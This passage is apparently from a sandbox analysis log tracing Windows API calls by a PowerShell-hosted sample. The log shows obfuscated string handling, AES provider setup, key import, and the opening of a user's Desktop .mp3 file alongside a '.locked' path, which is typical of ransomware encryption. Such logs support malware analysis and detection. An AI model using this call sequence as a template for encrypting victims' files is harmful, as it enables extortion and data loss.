(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0127.437] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0127.437] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.437] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0127.437] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.437] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0127.437] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0127.437] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.437] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0127.437] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.437] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0127.437] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0127.437] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.438] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0127.438] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.438] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0127.438] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0127.438] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.438] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0127.438] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.438] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0127.438] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0127.438] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0127.438] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0127.438] SystemFunction041 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.438] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0127.438] SystemFunction040 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.438] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0127.438] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0127.438] SystemFunction041 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.439] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0127.439] SystemFunction040 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.439] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0127.439] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0127.439] SystemFunction041 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.439] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0127.439] SystemFunction040 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.439] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0127.439] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0127.439] SystemFunction041 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.439] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0127.439] SystemFunction040 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.439] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0127.439] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0127.439] SystemFunction041 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.439] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0127.439] SystemFunction040 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.440] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0127.440] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0127.440] SystemFunction041 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.440] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0127.440] SystemFunction040 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.440] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0127.440] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0127.440] SystemFunction041 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.440] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0127.440] SystemFunction040 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.440] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0127.440] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0127.440] SystemFunction041 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.440] SystemFunction040 (in: Memory=0x8e6f7bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f7bc) returned 0x0 [0127.440] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0127.440] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0127.441] SystemFunction041 (in: Memory=0x8e30ecc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30ecc) returned 0x0 [0127.441] SystemFunction040 (in: Memory=0x8e30ecc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30ecc) returned 0x0 [0127.441] SystemFunction041 (in: Memory=0x8e30ecc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30ecc) returned 0x0 [0127.442] SystemFunction040 (in: Memory=0x8e30ecc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30ecc) returned 0x0 [0127.442] SystemFunction041 (in: Memory=0x8e30ecc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30ecc) returned 0x0 [0127.442] SystemFunction040 (in: Memory=0x8e30ecc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30ecc) returned 0x0 [0127.442] SystemFunction041 (in: Memory=0x8e30ecc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30ecc) returned 0x0 [0127.442] SystemFunction040 (in: Memory=0x8e30ecc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30ecc) returned 0x0 [0127.442] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.442] SystemFunction041 (in: Memory=0x8e30ecc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30ecc) returned 0x0 [0127.443] SystemFunction040 (in: Memory=0x8e30ecc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30ecc) returned 0x0 [0127.443] CryptAcquireContextW (in: phProv=0x99ae670, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae670*=0x8e022d8) returned 1 [0127.444] CryptImportKey (in: hProv=0x8e022d8, pbData=0x6a5dec4, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea48 | out: phKey=0x99aea48*=0x8e84a38) returned 1 [0127.444] CryptContextAddRef (hProv=0x8e022d8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0127.444] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae748, nSize=0x100 | out: lpBuffer="\xddbc\x6a5") returned 0x0 [0127.444] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb20*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb20*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.444] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea80*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.444] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.446] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\x_oeu7-hettbjy_tii.mp3")) returned 0x20 [0127.446] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\x_oeu7-hettbjy_tii.mp3")) returned 0x20 [0127.446] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", nBufferLength=0x105, lpBuffer=0x99ae400, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", lpFilePart=0x0) returned 0x49 [0127.446] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", nBufferLength=0x105, lpBuffer=0x99ae3c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", lpFilePart=0x0) returned 0x49 [0127.446] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaac*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaac*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.447] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", nBufferLength=0x105, lpBuffer=0x99ae14c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", lpFilePart=0x0) returned 0x49 [0127.447] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", nBufferLength=0x105, lpBuffer=0x99ae14c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", lpFilePart=0x0) returned 0x49 [0127.448] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.448] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.448] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.448] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.448] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", nBufferLength=0x105, lpBuffer=0x99ada20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", lpFilePart=0x0) returned 0x49 [0127.448] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf14) returned 1 [0127.448] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\x_oeu7-hettbjy_tii.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x868 [0127.449] GetFileType (hFile=0x868) returned 0x1 [0127.449] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf10) returned 1 [0127.449] GetFileType (hFile=0x868) returned 0x1 [0127.450] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.450] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe340\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0127.450] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfa, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.450] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.450] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfa, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfa, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.451] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ada20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3.locked", lpFilePart=0x0) returned 0x50 [0127.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf14) returned 1 [0127.451] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh 